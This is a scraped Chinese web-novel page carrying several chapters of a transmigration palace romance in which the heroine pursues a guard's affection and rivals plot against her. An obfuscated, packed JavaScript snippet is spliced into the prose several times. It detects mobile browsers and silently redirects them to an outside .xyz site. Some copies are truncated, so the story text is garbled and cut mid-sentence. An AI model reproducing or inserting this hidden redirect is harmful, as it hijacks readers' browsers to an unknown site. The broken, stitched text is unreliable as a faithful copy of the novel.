;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16058485|174338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两,剩下的就当存在你那里,以后有需要了,我再问你借,好吗?” 春桃看着曲昭盈把那五两银收了,这才心满意足地笑了起来,曲昭盈没想到自己当时一点善行能收获这样大的善意,心底自然十分感动,也终于想起自己今日来此的目的,赶忙和春桃说道:“对了,你在宫中千万要小心谢懿玄!” 她将近些日子来在自己身上发生的事与春桃说了,春桃骂了几句谢懿玄心狠手辣不配为人,又向曲昭盈保证了自己一定会在宫中更加小心,曲昭盈这段时间悬着的心才总算放下一些,春桃又与她聊了不到一炷香的时间,这才依依不舍地对曲昭盈道:“我得回去了。” “殿下今日在外宴请群臣,我才能扮成下人混出宫来,却也没办法在外头呆太久。”春桃握着曲昭盈的手,热切地道,“曲姑娘在外一定要照顾好自己,莫要担心我,我在宫中有皇后娘娘做靠山,不会有什么危险。” 她像只小狗似的盯着曲昭盈的眼睛看:“以后还有机会和你见面就好了。” 曲昭盈不敢随便答应她,春桃又着急着要走,并等不及得到她的回答,曲昭盈看着她匆匆离去,总觉得有些莫名的心神不宁,却也说不上为什么。 春桃在来时就得了谢聿珩的叮嘱,要小心些、不要叫别人看见自己与曲昭盈在一起,分开始要自己先离开,走运来轩的小道与后门,在外头的小巷里有马车在等着她,只要上了马车,她便能顺利回到宫里了。 她当自己在做刺客,走路时都不敢发出多大的声响,正绕过一个靠近矮墙的包间时,忽然听得里头传出来几句细碎的说话声。 那是个青少年男子的声音,即便那声音隔着一扇窗,朦朦胧胧地像雾一样,可春桃却听得心中一跳——那正是谢懿玄的声音。 没多久前曲昭盈还在叫她小心的人就在这一堵矮墙、一扇薄窗之后,春桃心里知晓自己应该快点离开,千万不在再和谢懿玄扯上什么关系,却又鬼使神差地、轻手轻脚地往那墙下靠过去 ,企图听到几句机密来,好叫曲昭盈和太子能够抓到一点谢懿玄的把柄。 屋里的少年人似乎发了不小的脾气,屋内还有个声音更苍老些的男声,一半安慰一半责怪似的对他说道:“殿下实在太过沉不住气了。” “是你的找人太蠢!”谢懿玄怒道,“否则我如何能险些叫谢聿珩抓到把柄?” “他仗着自己是太子,整日摆出那一副趾高气昂的样子,我不过想叫他吃些苦,又有什么错?”他气鼓鼓地摔了个杯子,“你最好把那些人给我处理干净些,别叫他们嘴里吐出些不必要的东西。” “已经做好了,”那男人应了话,又想起什么似的劝谢懿玄道,“您近些日子也低调些,虽然陛下已经答应你……但太过招摇也不是什么好事。” 他这话声音并不大,几乎要被窗户与矮墙吞了个干净,却还是叫春桃听见了那羽毛落地一样的话,却听得她心下大骇,脚下一滑险些跌倒在地上! 春桃的动作叫身旁的灌木发出细碎的沙沙声,屋内的谢懿玄眉头一皱,当即抬起手来直至对面的人说话,又冲着自己身后的侍卫抬了抬下巴,示意他出去查看一下情况。 “杀了。” 他低声道。 25.第二十五章 饭桌上摆着几道摆盘精美的饭菜,曲昭盈却没什么心思动筷子,烩鹿筋的面上已经凝了薄薄的一层白色的油脂,显然是已经凉透了。 她看着桌上的沙漏里漏下了最后一层沙,外头的天色也逐渐暗了下去,只剩一点昏暗的橙色透过没关紧的窗户,虚虚地在窗沿上落下朦朦胧胧的颜色,像是将熄未熄的一盏油灯,正在亮着最后的一点光。 曲昭盈估摸着时间也差不多了,便起身往外走——这一桩事情已经了了,她还要回去想办法攻略卫沉才行。 却不想她才走出花园,迎面便撞上了个男子。 那男子穿了身青色暗金蟒袍,头戴金玉冠,腰悬一枚青玉佩,手上还装模作样的捏了把象牙折扇,不是赵怀珏又是谁? 曲昭盈自然不想和他有什么交集,又多次被他冒犯过,生怕自己再跟他多说一句话就又要被污蔑成“不要脸皮想要攀附世子”的下作人物,只当做没见到这个人似的准备转头就走,赵怀珏一见她这模样,眉头当即皱了起来,高声道:“你这丫头也忒无礼了,见到小爷竟敢连个招呼都不打?” 曲昭盈只能转回身来,她面对着赵怀珏站着,不情不愿地福了福身,道:“见过世子爷。” 赵怀珏见她难得服软,面上的表情颇有些得意洋洋,又见她自己一个人从院里出来,身旁没有侍女也没有侍卫,他便下意识地越过曲昭盈,往那院里张望了一眼,见院里没半个人在值守,只有树叶被风吹动时发出的沙沙声,静静悄悄的好似要闹鬼,他不禁得好奇道:“你为何一人在此?” 曲昭盈不答,只说了句:“世子爷若是没什么吩咐,民女便先行告退了。” “你等会儿,”赵怀珏当然不肯轻易叫她走,“你鬼鬼祟祟的怕什么呢?难道你在此处私会男子?” 虽然没有什么男子,曲昭盈也确实算在这里与春桃“私会”,此事被赵怀珏点破,她当然心里一跳,却仍要强装镇定,垂着眼道:“和世子爷没有关系。” 她不知道为什么赵怀珏要揪着自己不放,也害怕自己多说多错,当即抬脚要走,赵怀珏见她这样,便以为她真的在这里和别人相见,火气“噌”得一下冒了出来,一见曲昭盈要走,下意识便伸手去拽她:“谁准你走了?” “你在里头见谁?”赵怀珏追问道,“之前曲江宴上我约你见面,你推三阻四不说,还骂我不自重,怎么到你自己身上就不知道自重了?” 他也不知道自己在气什么,只当做自己被曲昭盈拒绝没了面子才恼怒,一定要她给自己个说法才行,曲昭盈被他拽得胳膊吃痛,两条柳叶似的眉毛也扭在了一起,她“啊”了一声,道:“世子爷请放手!” 赵怀珏见她此时还不肯坦白,二话不说便拽着她往院里走,怒气冲冲地道:“我倒要看是谁有这样大的本事,能教你不知廉耻的与他私会!” 曲昭盈挣脱不开,生生被他拖进屋里去,却见屋里空空荡荡,除了一桌凉透的、没怎么动过筷子的饭菜之外,便再没了别的东西。 哪来的什么男子,又何来的私会? 曲昭盈趁着他发愣,用力将手从他的掌控中抽了出来,她再也控制不住自己的脾气,怒道:“你到底要做什么?!” 她气的厉害,又委屈得厉害,手腕又叫赵怀珏抓的痛了,眼眶忍不住地有些泛红:“我究竟哪里惹了你,要你这样几次三番的污蔑我?!” 赵怀珏原本还有些懵,听见她这样质问自己,正要与她争辩几句,没想到回过头时,正巧就看见一滴眼泪顺着她的脸颊落了下来。 曲昭盈今日打扮得素净,穿了身月白色百褶襦裙,发髻上也只插了只素色玉簪,却清丽干净的好似插在宝瓶里的玉兰花,那一滴泪也成了玉兰花上垂下的露水,落在她衣襟上的时候,仿佛同时碎在了赵怀珏的心里。 赵怀珏只觉得那一滴泪碎成了一片片细碎的瓷,在自己的心头细细密密地扎着,不疼,却痒得叫他像要伸手去挠一挠——怎么会有姑娘哭得这样好看? 他半点不觉得愧疚,更不觉得自己混账,恨不得叫她再落几滴泪给自己看才好,曲昭盈不知道他心里的想法,只觉得这人莫名其妙又神经兮兮,偏偏这该死的游戏又总要将这讨人烦的男主送到自己跟前来,让她躲也躲不及,叫她如何能不烦躁? “哭什么?”赵怀珏哼道,“你若不这样鬼鬼祟祟,我又怎么会误会你?” 曲昭盈觉得面前这人根本就是个不可理喻的,又觉得和这么一个不讲道理的人生气根本是白费力气,与他讲道理更是平白浪费自己口舌,她抬起手,用袖口将面上的眼泪狠狠擦了,顺着他的话道:“世子爷教训的是,是民女不知天高地厚敢欺瞒您,简直是罪无可恕。” “还请您责罚于我,最好一刀将我的头砍了,挂在城门上三天三夜,好叫天底下所有的闺秀都知道,她们每日出门时都应该要到您的门前将今日要去见谁、做什么都一五一十的跟您说清楚,否则要是让您在路上无缘无故地碰见她们、误会了她们,就得像我一样将脑袋挂在城门上了。” 赵怀珏想起前些日子在街上与她相遇时,她也是这样像个炮仗似的几句话将自己噎得哑口无言,今日再叫她这样一呛,倒也不觉得憋闷,还觉得她这模样鲜活的可爱,曲昭盈见他不言语,便又道:“世子爷若是不砍我的头,那我就要走了。” “等会。” 赵怀珏又要去拽她,却架不住曲昭盈早有准备,错了个身将将躲开他的手掌,像条鱼似的滑出了包厢,叫赵怀珏再去追也不合适了。 也罢,他想。 来日方长。 赵怀珏抬头看了一眼天,看见太阳已经西下了,只在天际线上最留下一点红色的光,另一边的天就已经早早地升起一轮溶溶的月影,半青半红的颜色像一块锦缎铺在空中,叫人看得几乎要错不开眼。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16065153|174338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 谢懿玄正是踏着这样的天色回了宫,柔柔软软的天光落在宫中的琉璃瓦上,叫那些瓦片好似挂了一排排的银铃,正躲在深沉色月色下,隐隐地闪着破碎的光。 即便他人不在,但寝殿里已经早早地为他点起了烛火,通明的灯将一个宫殿照的好似白昼一般亮,他一推门进屋,却见玉和郡主不知何时来了,正在殿中的硬榻上坐着,交错的烛光将她的影子照成了一个圆形,正乖巧地躺在她的脚下,她见谢懿玄进来了,当即抬起头来,怨怼似的瞪了他一眼道:“你怎么才回来?我等了你快两刻钟了!” 谢懿玄眉头一皱:“你怎么来了。” “我今日是来探望姨母的,”玉和气鼓鼓的,语气也不怎么好,“姨母让我今夜留在宫中陪她。” 探望贵妃不过是个借口,前两日在曲昭盈店里闹事的人被抓,谢懿玄做事谨慎,没叫人抓到什么把柄,那些个人即便受了拷问,却也没供出来什么了不得的信息,可谢聿珩好似早已断定此事与她脱不得干系,昨日还专程让人送了口信给她,叫玉和心中烦闷又焦急,只能进宫来找谢懿玄商量。 她陪着宁贵妃娘娘用过晚膳,便寻了个理由来找谢懿玄,他人不在宫中,玉和便拿了本画本来看,只是她心中烦闷,看着那画本上的字句与图画都好像扭曲了一样在她的眼前扭动着,看的她更加烦躁,干脆上手把那书撕了个稀烂,纸屑像大雪一样落了满桌,她却看也不看,只顾对着谢懿玄发牢骚:“虽然没有证据,但太子哥哥已经怀疑是我在背后主使故意找那小贱人的麻烦,昨日专门叫人来敲打我!” 玉和气急了,将手中最后一张纸往地上一摔:“我此生从未受过这样大的耻辱!” 谢懿玄不以为然,懒洋洋地往榻上一坐,笑道:“有什么好怕的。” “谁说我怕了?!” “我那好皇兄如此善良又优柔寡断,除了敲打你两句还能做什么?”他眉毛一挑,不屑道,“他还能杀了你不成?” 侍女提前为他晾好了茶在桌上放着,谢懿玄顺手便端起来喝了一口,不咸不淡地说了句:“就算你把那姓曲的杀了,他也拿你没办法。” “说得这样好听,那你就去把她杀了呀!”玉和气不打一处来,“你当我不想杀吗?我恨不得亲手剜了她的眼睛!” 原本她并没有这样憎恨曲昭盈,只要见她倒了霉、被谢聿珩厌弃了就够了,偏偏谢聿珩因为曲昭盈的事情三番四次来警告自己,她自觉受辱,便将这一切的错处推到曲昭盈的头上,自然恨透了她。 但曲昭盈的爹到底还是个四品官,玉和一个没什么实权的郡主,若不通过她的爹娘,又哪有本事这样轻松的杀掉曲昭盈? 她只能气呼呼地对谢懿玄道:“难不成你连杀个女人都不敢?” “杀就杀,有什么不得了?”谢懿玄冷笑一声,“你且等着,过些日子我就把她的头提来给你。” 26.第二十六章 北方的春日似乎总是很短,才刚到四月底,气温便一日日地攀升上来,天也亮的一日比一日早,才刚到卯时一刻,天边就已经亮起了鸭蛋青一样的颜色,曲昭盈睡得热出了一层薄汗,正蹬了被子翻个身想再睡一会儿,外头的侍女却轻声问道:“小姐,您起了吗?” “大小姐来找您。” 曲昭盈以为曲思盈有什么要紧事,当下连睡意都飞了出去,慌忙坐起身来,披了件外衣就对侍女道:“叫姐姐进来吧。” 曲思盈不知何时起的床,来找曲昭盈时竟已经穿戴整齐了,连头发都梳的整整齐齐,用几朵珠花像是初夏的樱花,正俏皮地点缀在她的发间。 “怎么了?”曲昭盈凑合用帕子给自己胡乱抹了一把脸,好叫自己精神一些,“可是出了什么事?” “没,是昨天我忘记把你第一个月的工资和分红给你了,”曲思盈拿出个绸缎荷包来递给曲昭盈,“一共十五两银子,你点一点看。” 昨日曲昭盈去赴约,她又在店里忙到晚上才回来,二人晚上并未见面,只是曲昭盈却有些意外:“何必为了这点小事专程跑一趟?” “晚些时候我去店里再给我是一样的。” “不碍事,反正我也睡不着了,”曲思盈叫屋里伺候的侍女都下去了,自己又拿过茶壶来给自己倒了杯凉茶,见她们把门关好了,这才又貌似不经意地问了一句:“你昨日可见到谢聿珩了?” 原来是为了这事。 曲昭盈笑着摇了摇头:“没有,连影都没见着。” 曲思盈这才松下一口气来,又跟曲昭盈道:“其实那日我没跟你说,谢聿珩来店里的时候我偷偷查了一下他的好感度,已经有39%了,我的努力也没算白费。” “所以你千万不要再破坏剧情了,知道吗!” 曲昭盈心里多少觉得自己有些冤枉——她一直在极力避免和卫沉之外的男主见面,是这些人一直莫名其妙地被系统送到自己的面前来,又怎么能这样简单地怪她破坏了剧情? 只是说到底,她的目的也只是回家,等她离开之后这里的一切都和自己没有半点干系,所以她也不会因为曲思盈的话生气,只应了声好,又与曲思盈闲话了几句,便约了晚些时候一起去店里。 前些日子闹事的人被抓了,她们得了清白,生意非但没受影响,又因为此事一时间名声大噪,反而白得了一场反炒作式的营销,来看热闹、买东西的人也更多了,即便是日头逐渐艳了起来,也半点削减不掉他们的热情。 却不想她二人才到了店里,就正巧遇见几个官兵打扮的人从店里大喇喇地出来,曲昭盈有些狐疑地看了他们一眼,生怕是因为前几日的事件再来找自己麻烦的,便连忙上去把人拦住了,问道:“几位官爷怎得这样匆忙?可是发生什么事了?” 那些官兵似乎急着赶去下个地方,并没什么时间停下来去解答曲昭盈的疑问,其中一人匆匆说了句“找人!”便头也不回地离开了,曲昭盈摸不着头脑,只能进去问在里头忙的徐掌柜,徐掌柜也不清楚这些人来是做什么,便算账边回道:“说是来找人的,拿了个画像叫我看,画了个男的,但我也没见过,说不出个所以然来,人就走了。” 边上的顾客接了句:“今天一早就挨家挨户的问了,你们这儿来的都算晚了。” “哦?”徐掌柜问,“可说找的是谁了?” “嗨,说得都不清不楚的,反正就是个年轻男人,也不知干了什么,值得这样大动干戈地去找人。” “指不定犯了什么穷凶极恶之事正在缉拿呢!” 他们几人聊得热火朝天,曲昭盈倒是对这些事情不大感兴趣,知道官兵来此处与自己无关之后,便去忙自己的工作了——她要开始准备新的季节限定包装,设计稿画了一半,还要再与工匠讨论才能够继续完善下去。 楼上虽然被该做顾客的用餐区,但还保留了两个原本酒楼南向的小包厢来做姐妹二人的办公室,屋里装潢的也简单,只有一张书桌,一个书架和两张八仙椅,地上铺了张粗毛毯,虽然不大,但给曲昭盈一个人使用正正好好。 她才在书桌前坐下,还未来得及拿出自己的设计稿来,侍女忽然来敲了门:“小姐,外头说有人在等您。” “谁?” “不知道,”侍女回道,“来传话的是个车夫,直说他主子要见您。” 曲昭盈有些好奇:“你去请他主子上来。” 侍女却道:“小姐,他说他主子不方便上来,请您下去呢。” “他主子是谁?” “他没说,只说您必须要去。” 曲昭盈更疑惑了。 是谁找她?又是什么事要这样神神秘秘? 她看了一眼守在门口的卫沉,终于还是决定下去看看再说,反正光天化日之下又有侍卫在身边,她倒也没什么可害怕的。 对方似乎故意要掩人耳目,将马车停在了清冷安静的后巷里,连马车都是十分普通的款式,只有素色的乌木顶,连雕花都没见几个,走在路上叫人连看都不会多看一眼,是再寻常不过的马车了。 曲昭盈与卫沉走上前去,却叫对方的车夫与侍卫拦下了。 “我们主子只请了小姐一人。” 他二人穿着寻常的棉布衣裳,也看不出是谁家的下人,卫沉还想跟他们争辩几句,曲昭盈却道了句好,叫卫沉在此处等候,自己一人走上了车。 马车里的陈设也如这马车的外观一般古朴,掀开车帘时,车厢里头还适时地飘起几粒金色的尘埃在阳光下跃动,而谢聿珩此时正坐在那简朴的车厢之中。 “曲姑娘。” 他今日也穿得简单,只一件素色长衫在身上挂着,却抵不住他天生的贵气,穿着这样的衣裳坐在车里,都要叫这简单的陈设变得耐看了起来。 曲昭盈万万没想到是谢聿珩来找自己,当下是走也不是留也不是,只能硬着头皮先向他行礼:“见过太子殿下。” 谢聿珩似乎瞧出她的尴尬,直白地问道:“怎么?不想见到我?” 当然不想见了,曲昭盈想。 上一周目的时候她从来没有在剧情之外的地方和这些男主频繁相见,这一周目也不知道到底是什么原因,这些男主一个个的都好像潮水一样往自己的眼前凑,叫她避无可避。 但谢聿珩几次三番帮过她,她又不可能真的做个不懂事的白眼狼,面对着谢聿珩的疑问,她也只能摇头道:“不是,我只是有些意外。” “殿下今日不忙吗?怎么有空来找我?” “来找你,就没什么忙的了,”谢聿珩故意说了句叫人误会的话,却又不给曲昭盈半点反应的时间,继续说了句,“我来是想问问姑娘,昨日和丽贵人见过面之后,可还有遇到什么人?” 曲昭盈下意识正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他又接了句:“玉和正在找你的麻烦,还请姑娘多加小心。” “啊?玉和郡主?”曲昭盈怎么也没想到这个名字会被突然提及,“为何?” “我也不知道,只是前些日子姑娘身边出现的麻烦,多少都与她有些关系。” “但我手里还没有证据,还请姑娘等一等,”他似乎对此事十分愧疚,说话时都有些不敢去看曲昭盈的眼睛,“我一定会还你一个公道。” 曲昭盈又能说什么?天知道她为何会这样倒霉! 她垂头丧气地应了声好,谢聿珩又与她说了几句话后便要告辞,曲昭盈不敢耽搁他,正要与他告辞,眼前却突然跳出一个蓝底的对话框来: ----------------------------------------------------------------------------------------- 限时特惠! 仅限一次!仅用10两银子就能查看一次心动男角色好感度! 请问您是否使用? ----------------------------------------------------------------------------------------- 27.第二十七章 曲昭盈没想到自己那个跟死了一样、毫无音讯的系统有朝一日居然还能突然跳出一条消息来。 她颇为意外地看着那条消息,却是连动都不敢多动一下,生怕自己做了什么多余的动作就把这个对话框不小心给关掉了,从此错过这样一个天降的巨大福利 。 还问她是否要使用?当然要用了! 她迫不及待地和谢聿珩告了别,前脚才跳下他的马车,后脚便迫不及待地点了【是】的选项。 下一秒,她右上角的钱包数字就一下从35变成了25,又“叮”地响起一声提示音,紧接着卫沉的脑袋顶上便像亮起特效一样闪了一下。 之前被一串?隐藏的信息开始跳动,那曾经被冻结住的、长长的问号好像被打碎的玻璃一般“啪”地一声裂了来开,碎成了一抔被风化的沙,终于露出了那一直被掩盖着的好感度条。 卫沉好感度:50% 曲昭盈一见这数字,心底别提多高兴了。 这说明自己摸瞎一样的攻略总算没有白费,这几个越来的示好不负所望地有了进展,曲昭盈喜出望外,之前的烦恼与纠结在看见这串数字的瞬间一扫而空,这一刻她只觉得生活都充满了盼头。 曲昭盈脚步轻快地上了楼,正想回去继续自己工作,一拐弯却见曲思盈不知何时正站在她的办公室门外:她穿着身青色的莲花纹襦裙,阳光从她背后的房间撒了进来,一道又一道地爬到她的脚踝边,那样明媚的光却落不到曲思盈的身上半点,让她看上去好似从话本里钻出来的女鬼,叫曲昭盈吓了一跳。 “怎么了?”曲昭盈下意识问她。 曲思盈手里拿着张青底黑字的帖子,瞧见曲昭盈来了,便把它往她的怀里一塞,笑道:“是李尚书的小女儿发了帖子来,约咱们月底去河堤踏青。” “踏青?”曲昭盈有些狐疑地打开那张贴,问道,“这都快到夏天了,怎么突然要约着踏青?原作里有这个剧情吗?” 她不记得上一周目有这一场踏青宴,但会不会是因为这一回她走的卫沉路线,才会有些不一样的剧情?她多嘴问了一句,曲思盈撇了撇嘴,低声道:“我不记得了。” 曲昭盈还想说句什么,却听得曲思盈冷不丁地问她:“你刚刚从谁的马车上下来?” 她方才拿了帖子来找曲昭盈,看见曲昭盈人不在屋里,正想走的时候,却意外从开着的窗户里瞧见她从楼下停的马车上下来,尽管那马车模样朴素,不论是从外观还是守在外头的侍卫来看都瞧不出来主人是谁,但曲思盈就是下意识地觉得有些不对劲。 曲昭盈偷偷摸摸地在和谁见面? 除了谢聿珩,又有谁需要让她这样鬼鬼祟祟、避人耳目地去见面? 她几乎不需要问就已经心里有了数,曲昭盈想向她解释自己并非故意去见谢聿珩,是对方隐瞒了身份和目的,但曲思盈显然没有那个心思再听她解释,只叹了口气道:“算了,你别说了。” “我要去忙了。” 说罢她也不等曲昭盈再说什么,转过身就往楼下走去,只是她踏出去的每一步都好似千斤万斤重,脚下的木板也变成了黑色的泥沼,正拽着她一步又一步地向下沉去。 她的脑海里一直有一个声音在响。 凭什么。 明明她曲思盈才是这个世界的女主角,明明这个世界的剧本都是为了她而创作的,这些身份各异的男主角也是为了她才被创造出来、为了她才会存在于世,可如今到底为什么? 为什么她只是想要谢聿珩的爱都这样艰难?为什么这个世界已经有她了,却还要凭空出现一个曲昭盈来?为什么这些男主一见到她,就好像忘记了自己才是真正的女主角一样? 她明明是为了谢聿珩才留在这里,可如今的一切都好像脱离了正轨,她的想法他们不在乎,她说的话他们不愿意听,却一个个地像狗一样围在曲昭盈的身旁转悠,这样子总会叫她想起自己的从前,想起自己那时也是如现在这样这样令人轻视,这样叫人瞧不起。 曲思盈已经不记得曲昭盈一次次站出来替自己解决的麻烦的过往,也不记得自己在害怕时将责任推到曲昭盈头上让她面对那些恶人的事迹,如今她的心底只剩下不甘的愤恨与嫉妒。 记忆里听过的、那些讥讽的话语好似黑暗的潮水一般淹过来,曲思盈浴在那铺天盖地的恨里,像找不到归宿的鬼魂一般浑浑噩噩,她的不甘、她的嫉妒、她的愤恨在心底被一把火煮沸了,正翻腾着想要顺着她的喉咙吐出来——如果她再不早些离去,那些沸腾澎湃的恨就要化为腐烂阴森的鬼爪,从她的身体里破膛而出,生生地掐断曲昭盈的脖颈。 曲昭盈自然也看出来她生气了。 此事到底是自己违背诺言在先,曲思盈生气自然也是无可厚非,曲昭盈长叹一口气,先前因为看到卫沉好感度的喜悦还没持续几分钟,就有如尘埃一般散去了。 “此事并非是小姐的错。” 卫沉忽然开口道。 他在曲昭盈身旁伺候了有一段时日,如今多少也摸清了姐妹俩的想法:姐姐喜欢太子,恨不得像菟丝花似的日日夜夜攀附在谢聿珩的身上,妹妹却对太子避之不及,偏偏谢聿珩对这个妹妹感兴趣得很,即便被她拂了面子,这位高高在上的太子爷也还要锲而不舍地黏过来。 “他是太子,”卫沉好像在安慰她,又好像在说给自己听似的低声道,“他想要见小姐,小姐怎么敢说一个不字?” 谢聿珩作为一个手握生杀大权的皇子,想要谁去见他,不过就是张一张嘴的事情,曲昭盈如何有拒绝的权力? “是太子殿下和大小姐过于强人所难了。” “你不要这样说,是我确实有错,”曲昭盈却摇了摇头,并不愿意叫卫沉批评曲思盈,“我还是好好去向她道个歉吧。” 她已经在心里盘算好了,明日一早就去买一份礼物好好向曲思盈道歉,将这事的前因后果都坦白给她听,再把谢聿珩给自己的玉佩转增给曲思盈,自己如果发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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为什么连没有任何人干涉的裴行之都和之前不一样了? 裴行之不知她心中所想,他看见曲昭盈手里拿的帖子,像是发现了什么似的眼睛一亮,问道:“表妹也收到踏青宴的帖子了?” 曲昭盈回过神来:“你也是?” “是啊,”裴行之似乎有些不好意思,“我来京城这样久,还是第一次收到如此正式的帖子,正烦恼着要如何是好呢。” 他在学院里认识了不少京城的少爷公子,又因着他本身就文采斐然,明年春闱拿下好名次几乎已经是板上钉钉之事,愿意同他交好的人自然举不胜数,能收到李尚书之女的帖子,显然也不是什么怪事了。 裴行之开口问她:“若是表妹也要去的话……不如与我结个伴?” 这一句话问得曲昭盈心里一惊,满脸不可思议地抬起头来看他。 不是,他到底知不知道没婚配的男女相携出席这种聚会是什么意思?在这个时代这样做跟官宣恋爱有什么区别? 曲昭盈忍不住反问:“表哥这是什么意思?” “表妹确实聪明过人,”裴行之笑了笑,“就是你想的那个意思。” 真是乱了套了,曲昭盈想。 28.第二十八章 今日街上人并不多,偶尔有行人从曲府跟前走过,也都只是匆匆往曲昭盈的方向望上一眼便匆匆离去,并没有人在意她们在说些什么。 除了站在曲昭盈身后、寸步不离的卫沉。 他既不是傻子,更不是木头,虽然他不懂这些豪门世家里的弯弯绕绕,但他从小活在市井里,对这些男女之事见得多了,自然也能听明白裴行之话里话外的意思。 为什么? 他忍不住想。 他的小姐到底为什么整日在外招惹男人?这裴行之整日在后院里头读书,又是何时对她起了这种心思的? 裴行之的心思小姐知道吗?这些日子里她到底是怀着什么样的心思接近自己、与自己相处的?她私下也和别的男人这样吗? 卫沉越想就越忍不住想要生气,他想冲上前去将曲昭盈拖回房里,叫她不要再站着这里招惹别人,他想将她锁在只有自己才能看得见、碰的见的地方,叫那些觊觎她的男人死了心,可他到底不过是个身份低微的侍卫,一举一动都要依着主人的脸色,又哪里能做这样大逆不道的事情? 曲昭盈没觉察到卫沉的心思,只有些意外地盯着裴行之看。 裴行之正笑眯眯地站在屋檐下头,春末有些刺眼地阳光叫那斜斜的屋檐挡了一截,只在裴行之的身上落下一道灰色的影子,却好像一把刀似的将他和曲昭盈的位置生生劈开了,他脚下的影子宛如一团化不开的墨,黑黢黢的叫人几乎要透不过气来。 “小妹愚钝,有些听不明白,”曲昭盈决定装傻,不对裴行之的邀约做什么回复,“表哥若是对这宴会实在紧张,不如约着你的同窗一起去吧?” “我一个后宅女子,没读过什么书,脑子也不灵光,在这种场合帮不上表哥什么忙。” 她拒绝的虽然委婉,话里的意思却十分坚决,裴行之到底是个清高读书人,叫曲昭盈这样拒绝后自然不可能再纠缠她,只笑了笑道:“表妹何必如此妄自菲薄?” “今日是我唐突了,多有冒犯还请表妹莫要见怪,”裴行之向她行了一礼,依旧保持着方才那副风度翩翩的模样,“若表妹什么时候改变主意,随时可以来找我。” 他似乎不急也不燥,还轻飘飘地提醒了曲昭盈一句“我就在后院”,之后便说自己还有事,先行告辞了。 曲昭盈看着他离去的背影,长长地叹了一口气。 如果系统当初给她开出的回家条件里只有一个和男主角之一成亲的话,其实裴行之未必不是一个好的选择。 虽然裴行之满腹经纶,明年春闱拿下满意的名次也早已是板上钉钉的事实,但他到底出身乡绅,在这京城之中简直与平民无异,即便将来高中,也没有了不起的本家来替他打点,好叫他能在京中谋得一官半职,不至于将他分到偏远的地方去任职。 是以他对曲思盈的感情,除了单纯的喜欢之外,还夹杂着些与利益相关的算计——他现在瞧着不像是对曲思盈有什么男女之情的样子,那对着曲昭盈突然的示好,自然也就只剩下明晃晃地算计了。 曲昭盈着木讷单纯,虽然是个不怎么受宠的二女儿,但她的爹娘到底不可能舍得女儿去外头受苦,一定会想办法叫他留在京城里,为这位女婿的将来铺路,才好叫曲昭盈过上好日子。 即便他心里有喜欢的姑娘,却也依旧理智清醒,知道曲昭盈比曲思盈更好拿捏,也知道娶要她比曲思盈更容易些,这才会来向她这样示好,只可惜曲昭盈的系统要求她的结婚对象要对她有100%的好感度,否则曲昭盈今日还真就很可能一点头当即把婚事和他定下了。 只可惜要和他成亲简单,想要被他全心全意地爱上却是难上加难,只怕是曲昭盈努力一生也很难达到这个目标了。 是以曲昭盈从接到任务开始,就从未将裴行之列入自己的攻略对象里去,即便今日面对裴行之的示好,她也是毫不犹豫地选择拒绝——她哪有这么多时间耗在他身上? 可卫沉又不知道她心中是如何设想的。 他只知道这些位高权重、才貌双全的男人忽然间像虫子一样不知疲倦地飞在曲昭盈的身旁,即便小姐现在统统都拒绝了,可以后呢? 以后她会不会发现那些有钱有权又有才华的男子才是她想要的男人? 她现在向自己示好,到底是真的喜欢自己,还是只图个新鲜有趣? 卫沉心里不安又焦急,终于忍不住似的开口问她:“小姐要定亲了吗?” 他这话问得实属僭越,若是莲心听见了,定要张口骂他没大没小,小姐是否定亲和他一个侍卫有什么关系? 但他实在心里没底,又迫切地希望曲昭盈能给自己一个答案、一点承诺,好叫自己心里能好过一些。他觉得自己这样好像回到了当初连饭都吃不饱的日子,她就是自己渴求许久的甘露,离开她,自己怕是连活都要活不下去。 曲昭盈站在厢房门口,有些意外地抬起眼来看卫沉。 他头上的好感度条不知为何突然剧烈地抖动起来,原本近乎透明的白色显示条也随着抖动在这短短的一瞬间里不断变化,最终变成近乎于血色的红,才终于平静了下来。 这是什么意思? 曲昭盈被这样的变化吓了一跳,她从未见过这个好感度条有这样的变化,更没见过它出现这样骇人的颜色!这是在警告自己什么吗?还是说卫沉的好感度发生了什么变化?难道是好感度降低了吗? 她一颗心都好似被人抛出去了般悬在空中,晕眩与失衡感叫她惊慌失措,她像个即将要溺死在水里的人一般迫切地想要抓住救命的稻草似的,下意识地去打开系统的好感度查看界面,却见那仅限一次的优惠界面早已消失不见,取而代之的是那冷冰冰的、无情的系统窗口,上头写着: --------------------------------------- 查看好感度需要200两 您所持有的金币不足 窗口将在(5)秒钟后关闭 --------------------------------------- 怎么办? 